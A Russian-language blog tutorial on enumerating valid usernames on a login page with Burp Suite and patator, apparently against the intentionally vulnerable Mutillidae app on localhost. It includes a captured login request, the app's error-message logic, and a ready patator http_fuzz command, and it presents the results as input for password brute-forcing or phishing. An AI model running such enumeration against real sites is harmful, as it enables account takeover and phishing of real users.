Hacking
February 21, 2022

Атакуем страницу авторизации через BurpSuite

В этой замечательной статье пойдёт речь об использовании BurpSuite для взлома сайта!

Всем салют, дорогие друзья!
В этой замечательной статье пойдёт речь об использовании BurpSuite для взлома сайта!


Начнём с того, что мы имеем:

Страница авторизации:


Наша система:

Установленный Burp Suite:

Страница при вводе данных реального юзера, но с неправильным паролем, отображает ошибку, что неправильный пароль:

А при вводе несуществующего пользователя это:

Это значит, что мы можем перебрать список юзеров (без перебора паролей), а далее этот список можно использовать для брутфорса паролей или фишинговых атак.


Первая настройка Burp Suite:

Proxy -> под-вкладка Options и смотрим на секцию Proxy Listeners. В столбце Interface должно быть 127.0.0.1:8080:

Если это не так, то нажмите кнопку Restore defaults слева от панели. Если слушатель ещё не запущен, то это означает, что Burp не смог открыть стандартный прокси-слушатель на порту. Нужно нажать Edit и изменить номер порта на другой.

Также нужно настроить браузер для использования прокси-слушателя, как HTTP прокси-сервер. Чтобы это сделать, нужно изменить настройки прокси вашего браузера (по умолчанию 127.0.0.1) и порт (по умолчанию 8080) для HTTP и HTTPS протоколов. В каждом браузере это делается по разному.

Проверяем:

С запущенным Burp Suite в браузере переходим по любой HTTP ссылке (пока не юзаем HTTPS). Браузер должен остановиться в ожидании завершения запроса. В Burp Suite перейдите в Proxy -> Intercept. Эти вкладки должны быть подсвечены и в главной панели должен быть виден HTTP-запрос. Кликаем на кнопку Intercept is on, после она должна измениться на Intercept is off. Возвращаемся в браузер и мы должны увидеть страницу, которую открываем.

Для работы с HTTPS:

Устанавливаем SSL-сертификат Burp Suite в доверенное хранилище браузера, чтобы он выступал в роли центра сертификации (Certificate Authority (CA)).

Атака:

Переходим в Proxy -> HTTP History -> Requests -> Raw

Делаем тестовый вход с рандомными значениями и получаем это:

POST /mutillidae/index.php?page=login.php HTTP/1.1

Host: localhost

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Referer: http://localhost/mutillidae/index.php?page=login.php

Cookie: showhints=0; PHPSESSID=12ftdujsdf36cl0q0jmc2b8f12q5

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 65

username=TEST&password=PASSWORD&login-php-submit-button=Login

Теперь мы знаем, что:

1.Данные передаются методом POST

2.Они передаются хосту localhost на страницу /mutillidae/index.php?page=login.php

3.Передаётся строка username=TEST&password=PASSWORD&login-php-submit-button=Login, в которой TEST – это юзер, а PASSWORD – пароль и все эти данные были введены нами для теста.

Теперь нам нужно указать программе для перебора паролей, что будет при вводе неправильных данных об имени пользователя:

Response -> Raw

А далее делаем поиск:

Incorrect username!

Это потому что раннее мы уже убедились, что при вводе неправильных данных о пользователе, будет выведена ошибка с текстом Incorrect username!

JavaScript:

switch(lAuthenticationAttemptResultFlag){

case cACCOUNT_DOES_NOT_EXIST:

lMessage="Incorrect username!"; lAuthenticationFailed = "TRUE";

break;

case cPASSWORD_INCORRECT:

lMessage="Incorrect password!"; lAuthenticationFailed = "TRUE";

break;

case cNO_RESULTS_FOUND:

lMessage="No results found!"; lAuthenticationFailed = "TRUE";

break;

case cAUTHENTICATION_EXCEPTION_OCCURED:

lMessage="Exception occurred"; lAuthenticationFailed = "TRUE";

break;

};

switch сообщает, в зависимости от значения lAuthenticationAttemptResultFlag выбирается один из случаев.

Сделаем поиск переменной lAuthenticationAttemptResultFlag. При несуществующем аккаунте.

Если аккаунт не существует, то в HTML-документе будет эта строка:

var lAuthenticationAttemptResultFlag = 0;

Качаем словарь для перебора либо используем генератор.

Очищаем его от дублей этой командой:

cat passwords.txt | sort | uniq > newlist.txt

Используем patator:

wget https://raw.githubusercontent.com/lanjelot/patator/master/patator.py

chmod +x patator.py

./patator.py

Запускаем процесс атаки:

./patator.py http_fuzz url="localhost/mutillidae/index.php?page=login.php" method=POST body='username=FILE0&password=password&login-php-submit-button=Login' 0=newlist.txt accept_cookie=1 -x ignore:fgrep='var lAuthenticationAttemptResultFlag = 0;'

И начнётся перебор юзеров!

Столбец Candidate содержит найденных пользователей.

На сегодня это все, желаю удачного взлома!

👉Да, хочу!ᅠ